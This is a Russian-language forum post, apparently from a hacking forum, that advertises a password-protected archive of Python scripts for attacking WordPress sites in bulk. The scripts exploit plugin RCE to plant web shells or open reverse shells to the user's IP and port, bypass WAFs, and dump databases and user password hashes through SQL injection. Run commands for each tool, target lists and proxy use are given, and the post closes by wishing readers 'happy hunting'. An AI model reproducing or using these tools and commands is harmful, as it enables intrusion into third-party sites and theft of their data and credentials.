WordPress Utility's

Всем Мира и процветания 
Решил поделиться полезными скриптами выполненными на python для работы с WordPress 

Что то моё, что то с канала в телеге у одного не местного взял
Сам ими не пользуюсь, у меня свои 0day, а те что уже пропатчены пользоваться ну такое как по мне
Но всё же некоторые ещё актуальны
Да и для общего развития и познания как по мне так вполне приемлемые скрипты
Вот в общем что внутри архива:

 1. rce_scan_1.py (Сканер RCE для WordPress)
Что делает:
Сканирует WordPress-сайты на наличие уязвимостей удалённого выполнения кода (RCE) в популярных плагинах (CouponMigrator, WooPayments и др.). При обнаружении:
- Загружает веб-шелл с уникальным ключом доступа.
- Или устанавливает обратную оболочку (reverse shell) на указанный IP/порт.
- Обходит WAF с помощью динамических payloads и .htaccess-обхода.
Запуск:
bash
python rce_scan_1.py -u targets.txt -p proxies.txt -o results --lhost YOUR_IP --lport 4444 --autolisten
- -u: Файл с URL (по умолчанию targets.txt).
- --autolisten: Автозапуск nc для приёма reverse shell.
- Результаты в папке results/shells/ и results/rce_vulnerable/.
---
 2. rce_scan.py (Упрощённая версия rce_scan_1.py)
Что делает:
Базовая проверка на RCE в WordPress без функций загрузки шелла. Только детектирует уязвимости.
Запуск:
bash
python rce_scan.py -u targets.txt -o results
- Результаты в results/.json.
---
 3. sql_scan.py (Сканер SQL-инъекций)
Что делает:
Ищет SQLi в WordPress и плагинах (Yawve, Depicter и др.). При обнаружении:
- Извлекает версию БД, имена баз, таблицы, логины/хеши пользователей.
- Обходит WAF через валидацию ответов и проверку сигнатур.
Запуск:
bash
python sql_scan.py -u targets.txt -p proxies.txt -o results
- Результаты в results/sqli/.json.
---
 4. wooscan.py (Сканер уязвимостей WooCommerce)
Что делает:
Проверяет WooCommerce на известные RCE/CVE (включая 2025 год):
- Обнаруживает версию WooCommerce.
- Проверяет уязвимости через эксплойты (например, загрузка файлов).
- Поддерживает прокси и многопоточность.
Запуск:
bash
python wooscan.py targets.txt --proxies=proxies.txt
- Результаты в woocommerce_vuln_results/.
---
 5. wp_plugins.py (Детектор уязвимых плагинов)
Что делает:
Ищет WordPress-плагины с известными RCE-уязвимостями (Elementor, WooCommerce и др.):
- Анализирует HTML и заголовки.
- Сохраняет списки плагинов и CVE.
Запуск:
bash
python wp_plugins.py targets.txt
- Результаты в sqlwp_plugins_results/ (CSV/JSON).
---
 Общее для всех скриптов:
1. Требуемые библиотеки:
   bash
   pip install requests tqdm
2. Формат файла целей:
   targets.txt с URL на отдельных строках:
   http://site1.com
   http://site2.com
3. Прокси:
   Файл proxies.txt в формате IP:PORT.

Скачать можно тут (перезаливать не буду)
Пароль от архива: @RawGarden0x01
Всем удачной охоты